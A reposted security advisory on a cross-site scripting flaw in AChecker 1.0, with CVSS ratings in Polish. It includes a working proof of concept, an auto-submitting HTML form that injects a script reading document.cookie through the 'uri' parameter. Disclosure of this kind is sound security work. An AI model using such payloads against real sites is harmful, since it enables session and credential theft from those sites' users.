AChecker 1.0 XSS vulnerability

2010.09.22
Credit: htbridge
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


Ogólna skala CVSS: 4.3/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

Vulnerability ID: HTB22601 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_achecker.html Product: AChecker Vendor: Inclusive Design Institute ( http://www.atutor.ca/ ) Vulnerable Version: 1.0 Vendor Notification: 01 September 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "uri" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data" > <input type="hidden" name="uri" value='http://1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="validate_uri" value="Check It" /> <input type="hidden" name="MAX_FILE_SIZE" value="52428800" /> <input type="hidden" name="uploadfile"; filename="" /> <input type="hidden" name="gid[]" value="8" /> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version

Referencje:

http://www.securityfocus.com/archive/1/archive/1/513735/100/0/threaded
http://www.htbridge.ch/advisory/xss_vulnerability_in_achecker.html
http://secunia.com/advisories/41467
http://packetstormsecurity.org/1009-exploits/achecker-xss.txt


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